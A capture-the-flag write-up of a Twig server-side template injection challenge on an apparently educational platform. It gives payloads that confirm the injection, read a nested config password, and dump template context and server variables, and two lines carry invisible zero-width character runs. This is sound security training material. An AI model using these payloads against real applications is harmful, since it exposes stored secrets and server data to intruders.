SSTI hard

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: ssti_config_extraction, ssti_nested_variable_access

Summary

Advanced version of SSTI in Twig. The password is not directly accessible in the template context, but is stored in a nested config object/array.

SSTI hard — Web Kids 2.0

Description

Advanced version of SSTI in Twig. The password is not directly accessible in the template context, but is stored in a nested config object/array.

URL: http://kslweb3.spb.ctf.su/2-5/

Analysis

Unlike the simple version, the password variable is not directly accessible in the template context. However, in Twig, application configuration objects are often available.

Typical locations for secrets in Twig:

• config.password
• app.config.secret
• _context
• app.request.server ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

1. Verify SSTI: {{7*7}} → 49
2. Try {{password}} — doesn't work or returns empty
3. Try accessing nested variables: {{config.password}} — get the flag

Payload

{{config.password}}

Alternative payloads for reconnaissance

 twig read-only • copy allowed Copy
{{_self}}
{{_context|keys}}
{{dump()}}
{{app.request.server.all|join(',')}}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍